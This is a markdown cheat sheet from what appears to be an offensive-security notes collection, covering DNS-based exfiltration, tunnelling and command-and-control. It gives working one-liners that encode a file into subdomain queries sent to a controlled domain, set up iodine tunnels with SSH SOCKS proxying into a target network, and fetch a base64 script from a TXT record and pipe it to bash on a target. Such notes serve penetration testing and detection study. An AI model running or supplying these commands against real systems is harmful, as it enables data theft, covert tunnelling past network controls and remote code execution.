killchain-compendium/Exfiltration/DNS.md

DNS

• Root Servers
• Zones
• Records

Queries

nslookup

nslookup type=txt <domain>

Reverse lookup

• Stored inside PTR record
• Reverse IP may look like <IP>.in-addr.arpa., but not via drill or dig

drill -x +short <IP>

Exfiltration

• Add data to UDP DNS requests
• Capture traffic on an owned DNS server
• 253 is the max length of a DNS name, excluding dots
• 63 is the mx length of subdomains
• Encode the payload to hide it

Infiltration

• Inside TXT or any other possible records

Usage

Manual Tunneling

Preconditions are: 1. Domain with an A record 2. NS record to controlled DNS to resolve the domain query

• Attach the encoded payload as the subdomain

base64 -w0 <payload.txt> | fold -w 24 | sed -r 's/.*/&.example.com/'

• Query the DNS server

base64 -w0 <payload.txt> | fold -w 24 | sed -r 's/.*/&.example.com/' | awk '{print "dig +short $1"}' | bash

• Optionally putting the payload in a single query via

base64 -w0 <payload.txt> | fold -w 24 | sed 's/.*/&./' | tr -d '\n' | sed 's/$/example.com/' | awk '{print "dig +short" $1}' | bash

• Decode received data on the controlled DNS server via

echo "DomainBase64encoded.example.com" | sed 's/\.example\.com//;s/\.//g' | base64 -d

Tunneling via Iodine

• Tunnel IPv4 Data through DNS

• Encapsulate protocols in side the DNS tunnel

• Start server on an outside DNS server. This may be a evs.

iodined -b <optionalListeningPort> -f 10.0.0.1</optionalCIDR> -c -P <optionalPassword> tunnel.test.com

• Use client via

iodine -f -r <optionalServer-IP> -P <optionlPassword>  tunnel.test.com

• NS record of the owned domain should contain the subdomain, e.g. tunnel.test.com
• Client gets a tunnel IP in the range of 10.0.0.0/8
• Check connection via

ping <server-IP>

• Generate ssh-key and put in on the server
• Dynamic port forwarding to the network through the server as a proxy via ssh

ssh <user>@10.0.0.1 -4 -f -N -D <8080/1080>

• User proxy server on the client's web server like --proxy-server or use a SOCKS proxy like FoxyProxy, or proxychains

proxychains curl http://$TARGET_IP/
curl --socks5 localhost:1080 http://$

C2 over DNS

• Preconditions are the same as [Manual Tunneling](#Manual Tunneling)

  • Plus: Data to control the appliances will be put into TXT record
  • Data to control the appliances may be a shell script sending payloads via ICMP data field, DNS subdomains or execute something locally on the target

• Encode the payload and add it as TXT record

base64 ./script.sh

• Query and execute on target

dig +short -t TXT script.example.com | sed 's/\"//g'| base64 -d | bash